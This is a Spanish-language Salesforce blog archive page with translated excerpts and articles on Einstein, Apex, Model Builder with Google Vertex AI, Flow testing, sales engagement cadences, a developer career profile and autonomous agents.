Skip to content

Etiqueta: apex

Creación de prompts potentes para Einstein for Developers ☁️

Creación de prompts potentes para Einstein for Developers ☁️

Desbloquea todo el potencial de Einstein for Developers escribiendo prompts efectivas y bien enmarcadas para producir código Apex robusto.

El post Einstein for Developers

The post Escribiendo instrucciones eficaces para Einstein for Developers appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Desbloquee la inteligencia artificial para su código Apex con ApexGuru ☁️

Desbloquee la inteligencia artificial para su código Apex con ApexGuru ☁️

ApexGuru es una función basada en GenAI en Scale Center, diseñada para solucionar antipatrones y puntos conflictivos en implementaciones de Salesforce.

The post Obtenga información potenciada por IA para su código Apex con ApexGuru appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Los 5 sombreros de un consultor de Salesforce

Un consultor de Salesforce no es sólo un experto técnico que ayuda a crear flujos y ejecutar informes. Vamos más allá, y nos corresponde adoptar la posición de asesor empresarial de confianza y socio estratégico.  Nuestra experiencia como consultor debe ir más allá de conocer Salesforce al dedillo. También debemos ser conscientes de […]

The post Los 5 sombreros de un consultor de Salesforce appeared first on Salesforce Ben.

Los 5 sombreros de un consultor de Salesforce appeared first on Salesforce Ben

Seguir leyendo

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics ☁️

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics ☁️

Los partners ISV ya pueden utilizar interacciones personalizadas para AppExchange App Analytics con el fin de conocer cómo utilizan los clientes los paquetes gestionados.

The post Obtenga mejores perspectivas de los usuarios con interacciones personalizadas para AppExchange App Analytics appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Cómo liberar el poder de la IA generativa sin crear su propio LLM

Los grandes modelos lingüísticos son la base de las revolucionarias aplicaciones de IA actuales. En lugar de entrenar un LLM en un conjunto de datos masivo, ahorre tiempo utilizando un modelo existente con indicaciones inteligentes basadas en sus datos. He aquí cómo.

Seguir leyendo

La versión Spring ’24: Una guía completa para desarrolladores de Salesforce ☁️

La versión Spring '24: Una guía completa para desarrolladores de Salesforce ☁️

La versión Spring ’24 ya está aquí, y estos son algunos de los aspectos más destacados de la versión, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versión Spring ’24 ya está aquí

The post Guía para desarrolladores de Salesforce sobre la versión Spring ’24 appeared first on Blog para desarrolladores de Salesforce.

La versión Spring ’24 ya está aquí

Seguir leyendo

Modelado de secuencias largas con XGen: Un LLM de 7B entrenado con secuencias de entrada de 8K de longitud

TLDR

Entrenamos una serie de LLMs 7B llamados XGen-7B con atención densa estándar hasta 8K de longitud de secuencia para hasta 1.5T tokens. También afinamos los modelos en datos de instrucción de dominio público. Los principales resultados son:

  • En pruebas de PNL estándar, XGen consigue resultados comparables o mejores
Seguir leyendo

Dentro de CodeGen: Nuestro LLM interno de código abierto ☁️

Dentro de CodeGen: Nuestro LLM interno de código abierto ☁️

CodeGen, parte de la propia familia de modelos de lenguaje de gran tamaño (LLM) de Salesforce, es un LLM de código abierto para la comprensión y generación de código.

CodeGen, parte de la propia familia de modelos de lenguaje de gran tamaño (LLM) de Salesforce

The post Dentro de CodeGen, nuestro LLM interno de código abierto appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformación ☁️

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformación ☁️

Recorre una lista de herramientas para utilizar DataWeave en diferentes escenarios, desde una aplicación de Mule con arrastrar y soltar hasta una herramienta de línea de comandos.

The post 5 Maneras de Usar el Mágico Lenguaje de Transformación de MuleSoft’s: DataWeave appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Plan de IA sostenible de Salesforce: Donde la responsabilidad se une a la innovación

Salesforce se guía por sus valores fundamentales de confianza, éxito del cliente, innovación, igualdad y sostenibilidad. Estos valores se reflejan en su compromiso de desarrollar e implantar de forma responsable nuevas tecnologías como la IA generativa en nombre de las partes interesadas, desde los accionistas hasta los clientes y el planeta. Los grandes modelos lingüísticos (LLM) que potencian la IA generativa requieren enormes […]

The post Descubriendo el plan de Salesforce para una IA sostenible: donde la responsabilidad se une a la innovación appeared first on Blog de ingeniería de Salesforce.

La IA generativa requiere una gran cantidad de recursos para ser sostenible

Seguir leyendo

Noltic fomenta el talento de los jóvenes en el mundo académico

Noltic se convirtió en uno de nuestros embajadores académicos de Salesforce en Ucrania, inspirando y educando a jóvenes talentos. Obtenga más información aquí.

The post Noltic fomenta el talento de los jóvenes en el mundo académico appeared first on Salesforce EU Blog.

El blog de Salesforce en la UE

Seguir leyendo

Optimice su organización de Salesforce con estas 7 perspectivas críticas

Aunque esperamos que su organización de Salesforce sea la excepción, según las últimas investigaciones, es probable que albergue más de 2000 riesgos de seguridad de código personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatización. Pero seguro que su organización es la excepción, ¿verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]

El post Optimice su organización de Salesforce con estos 7 datos críticos appeared first on Salesforce Ben.

Su organización es la excepción

Seguir leyendo

Guía completa de documentación de Salesforce (en un mundo de inteligencia artificial)

La plataforma Salesforce es muy potente. Con cada nueva versión, su org se vuelve más potente, pero también más compleja. Como le dijeron una vez a Spiderman: «un gran poder conlleva una gran responsabilidad». Entonces, ¿cómo puede asumir la responsabilidad real de mantener su organización? Con todo lo demás que tiene que hacer, documentar sus cambios es probablemente bajo en […]

El post Guía completa para la documentación de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.

Seguir leyendo

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Última actualización el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el próximo en superarlo Así que, ¡prepárese y sumérjase! 👉 Ya que estás aquí, es posible que desees

El post Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización

Seguir leyendo

Un día en la vida de un nuevo programador de Salesforce

Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco más de un año, me incorporé a Giveclarity como consultor técnico en prácticas. Tras tres meses de formación, me adentré en el dinámico mundo de la consultoría. Como nuevo miembro del equipo técnico, me dedico a todo tipo de tareas, desde trabajar en […]

The post Un día en la vida de un nuevo codificador de Salesforce appeared first on Salesforce Ben.

Seguir leyendo

El escudo de la seguridad: Evitar las descargas de datos con la clasificación de datos

El escudo de la seguridad: Evitar las descargas de datos con la clasificación de datos

Última actualización el 15 de noviembre de 2023 por Rakesh Gupta Big Idea or Enduring Question: ¿Cómo evitar la descarga de datos críticos a través de informes? Objetivos: Después de leer este blog, serás capaz de: Entender la Clasificación de Datos Configurar la Clasificación de Datos para Campos Entender la Seguridad de Transacciones Crear una Seguridad de Transacciones

El post El escudo de la seguridad: Prevenir la Descarga de Datos con la Clasificación de Datos appeared first on Campeón de la Automatización.

El Escudo de la Seguridad

Seguir leyendo

Asigne automáticamente nuevos clientes potenciales a una cadencia de compromiso de ventas

Asigne automáticamente nuevos clientes potenciales a una cadencia de compromiso de ventas

Última actualización en October 29, 2023 por Rakesh Gupta Big Idea or Enduring Question: Cómo se asignan automáticamente los clientes potenciales recién creados a una cadencia de compromiso de ventas? Objetivos: Después de leer este blog, serás capaz de: Trabajar con el objeto ActionCadence para conocer una Cadencia. Asignar un compromiso de ventas

The post Asignar Automáticamente Nuevos Leads a una Cadencia de Compromiso de Ventas appeared first on Automation Champion.

Seguir leyendo

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

Seguir leyendo

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus modelos de IA de Google Vertex a la nube de datos | Blog de desarrolladores de Salesforce

Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.

Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.

Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:

“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.

¿Qué es la capacidad de traer su propio modelo (BYOM)?

Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.

La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.

¿Por qué traer su propio modelo a Data Cloud?

Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:

  • Le brinda acceso a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360, en Vertex AI
  • Elimina trabajos de ETL tediosos, costosos y propensos a errores; El enfoque de federación de copia cero para los datos reduce los gastos generales de gestión de copias de datos y los costos de almacenamiento, y mejora la eficiencia.
  • Le permite crear, entrenar, probar y ajustar modelos rápidamente en una única plataforma y conectarlos con Data Cloud.
  • Admite la ingesta de datos en tiempo real, streaming y por lotes para impulsar resultados de IA relevantes
  • Aprovecha las predicciones de Vertex AI para automatizar procesos comerciales en Salesforce Data Cloud con Flow y Apex

Para obtener más información, mire nuestro breve vídeo .

Flujo de trabajo de la aplicación para usar Model Builder con Vertex AI de Google Cloud

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.

En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.

Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.

NUEVA característica: Autenticación mediante credenciales de cuenta de servicio de Google

La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.

NUEVA característica: Ingestión de datos en streaming

La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.

Para habilitar la inferencia de transmisión, deberá marcar la casilla en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.

También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando en el menú desplegable Actualizar puntuación .

Cómo consumir predicciones de tu modelo en Salesforce

Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.

Utilice Flow Builder y Apex para obtener predicciones

A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.

La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice Query API para obtener predicciones

Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.

Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.

Recursos adicionales

Sobre los autores

Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .

Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Introducción de la prueba de flujo

Anteriormente, si queríamos probar el flujo, necesitábamos escribir una clase de prueba de Apex para el flujo. Con la versión Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ningún código.

Cómo funciona

Establecer detalles de prueba, desencadenante y ruta

Proporciona una etiqueta de prueba de flujo y una descripción de la prueba. Establezca el activador de prueba en Creado/actualizado según el escenario. La ruta de la prueba está configurada para Ejecutar inmediatamente.

imagen.png Establecer registro de activación inicial/actualizado

Usando la función de búsqueda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selección del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no está vinculada a este registro pero contiene y utiliza sus valores de campo.

imagen.png Establecer afirmaciones

La aserción es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmación se evalúa como verdadera. De lo contrario, la afirmación falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.

imagen.png Ejecutar prueba y ver detalles

Haga clic en el botón "Ver pruebas", seleccione el menú desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.

imagen.png La prueba de flujo se ejecuta y resalta el camino que tomó la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programación. ¡Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.

imagen.png Beneficios

  1. Fácil y cómodo de usar: podemos crear registros de prueba a través de la interfaz de usuario y ponerlos a prueba.
  2. Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir código, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
  3. No afectará la cobertura del código existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la lógica subyacente del activador/clase también se limpia manualmente como parte de este ejercicio. Esto no reducirá la cobertura del código de la clase ya que la lógica se elimina por completo.
  4. Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a través de la clase Apex. Más bien es capaz de cubrir nodos. Una vez seleccionamos “Ejecutar prueba y ver detalles”. La ruta resaltada en amarillo representará la cobertura real del flujo desde el principio hasta el final del nodo.

imagen.png

imagen.png

imagen.png Desventaja

  1. Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. Aún no se admite la eliminación de flujos activados por registros. – Solo para el escenario de eliminación de registros podemos escribir una clase de prueba
  2. Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en función de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier característica que tenga una cobertura de prueba más alta en la clase ápice relevante, podría reducir el porcentaje de cobertura general del código. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del código Apex).
  3. Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.

Recomendación

  • Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya más mejoras y reduzca las limitaciones.
  • Podemos comenzar escribiendo una prueba de flujo para las actualizaciones rápidas de campos (antes) de los flujos de activación de registros.
  • Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.

Preguntas más frecuentes

¿Cuál es el porcentaje de cobertura para implementar Flow?

En relación con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.

¿Brindan cobertura de código como lo hace la clase de prueba? Si no, ¿debemos pensar en eliminar el flujo de la cobertura de prueba?

Sí, cubren resaltando nodo por nodo.

¿Puede confirmar si la prueba de flujo permite ejecutar pruebas masivas?

No, no admite pruebas de registros masivos. En la mayoría de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habrá una gran diferencia en los casos de prueba.

¿La prueba de flujo admite la asincronía?

Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.

¿Cuál es el rendimiento de las pruebas de flujo en comparación con las clases de prueba?

No veo ninguna documentación oficial, pero creo que la prueba de flujo será más rápida en comparación con la clase de prueba porque cuando ejecutamos una prueba creará una instancia de la clase y llamará a métodos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo método individual desde la clase de prueba, lo que lleva mucho tiempo.

Referencia

Prueba de flujo (beta)

Consideraciones para probar el flujo

50% Me gusta VS
50% No me gusta
Seguir leyendo

Hema Kumar realiza el trabajo de sus sueños como desarrolladora ☁️

Hema Kumar realiza el trabajo de sus sueños como desarrolladora ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Hema Kumar realiza el trabajo de sus sueños como desarrolladora | Blog de desarrolladores de Salesforce

Conoce a Hema Kumar La desarrolladora de Salesforce, Hema Kumar , siempre había soñado con una carrera en el sector tecnológico, pero las circunstancias familiares le impidieron cumplir ese sueño. A pesar de una oferta de una buena facultad de ingeniería lejos de casa, tuvo que obtener un título en ciencias en la universidad local.

Cuando comenzó la pandemia de COVID-19, Hema había estado buscando trabajo como asistente de enseñanza mientras trabajaba a tiempo completo como compradora de viviendas en ASDA. La enviaron a casa durante el encierro y quería dedicar su tiempo a hacer algo productivo. El cuñado de Hema trabajaba en Accenture y le sugirió que explorara Salesforce a través de Trailhead , la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades más demandadas y relevantes de la actualidad, obtener credenciales dignas de un currículum y conectarse a redes globales. oportunidades.

" Debido a la naturaleza interactiva de Trailhead", recuerda Hema, "y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana". Continuó aprendiendo en Trailhead con resultados impresionantes: hasta la fecha, completó 43 senderos, obtuvo 316 insignias y cinco superbadges, y acumuló 196.000 puntos. El arduo trabajo de Hema también le valió cuatro certificaciones de Salesforce , incluidas Administradora y Creadora de aplicaciones , lo que inicialmente la llevó a considerar la carrera profesional de Administradora de Salesforce.

Debido a la naturaleza interactiva de Trailhead y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana.

Luego, Hema encontró un curso para desarrolladores de Salesforce impartido por FDM , un socio de Salesforce Workforce Development, y decidió inscribirse. El extenso curso de 12 semanas le enseñó habilidades de desarrollo esenciales e incluyó práctica práctica, proyectos y una evaluación exhaustiva. Ella lo recuerda como “emocionante, desafiante y muy intenso” y, a través de perseverancia y dedicación, completó con éxito el programa.

Poniendo sus nuevas habilidades a trabajar en su primer trabajo tecnológico

Después de graduarse del curso FDM, Hema tardó aproximadamente un año en conseguir su primer trabajo como desarrolladora. FDM la ayudó a conectarse con empleadores de Salesforce y comenzó a entrevistarse con National Grid ESO para un puesto como desarrolladora junior de Salesforce. Consiguió el trabajo y desde entonces se ha convertido en uno de los miembros clave del equipo de desarrollo de Salesforce de su empresa. “Gracias al equipo de FDM por apoyarme”, dice, “y gracias a National Grid por brindarme esta oportunidad y creer en mí”.

El papel de Hema en National Grid gira en torno al apoyo al desarrollo, la personalización y la configuración como parte de la entrega de DevOps de su equipo. La mayor parte de su trabajo incluye la creación de objetos, campos, reglas de validación, flujos, clases de Apex y desencadenadores. Además, recientemente comenzó a trabajar para mejorar sus Lighting Web Components (LWC). Hema también cree que las buenas habilidades de comunicación son esenciales para una colaboración eficaz en equipo y para mantener a todos actualizados sobre el estado de los proyectos individuales, los riesgos y otras inquietudes.

Consejos para aspirantes a desarrolladores: comience con Salesforce

Para Hema, Salesforce le ha brindado un camino para generar confianza en sus habilidades y hacer realidad su sueño. Ella recomienda la misma experiencia a “cualquiera que sea dedicado, disciplinado, pueda administrar el tiempo con criterio y esté lleno de entusiasmo por aprender”.

Además de la sólida plataforma de aprendizaje Trailhead, Salesforce ofrece oportunidades de tutoría, una comunidad global de desarrolladores Trailblazer de Salesforce y eventos de Salesforce como formas de interactuar con sus pares. Los nuevos desarrolladores pueden beneficiarse de la comunidad al encontrar información útil, solicitar ayuda oportuna u obtener asesoramiento profesional.

Lo que más le gusta a Hema de una carrera profesional dentro del ecosistema de Salesforce es la naturaleza integral del soporte en cada paso del camino. “Es un paquete completo”, afirma, “desde el inicio de mi aprendizaje hasta conseguir mi primer trabajo, no tuve que buscar ayuda o consejo en ningún otro lugar”.

La historia de Hema destaca cómo Salesforce ayuda a personas técnicas y no técnicas a alcanzar sus objetivos. Y añade: "Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes".

Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes.

Para conocer desarrolladores como Hema y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de participación de desarrolladores globales de Salesforce. En este puesto, busca involucrar y elevar a la comunidad de desarrolladores y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros y sus inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en www.salesforce.com/devcommunity . Christie, community manager certificada y comercializadora galardonada con múltiples premios, cree en el buen código, la comunidad y la igualdad.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

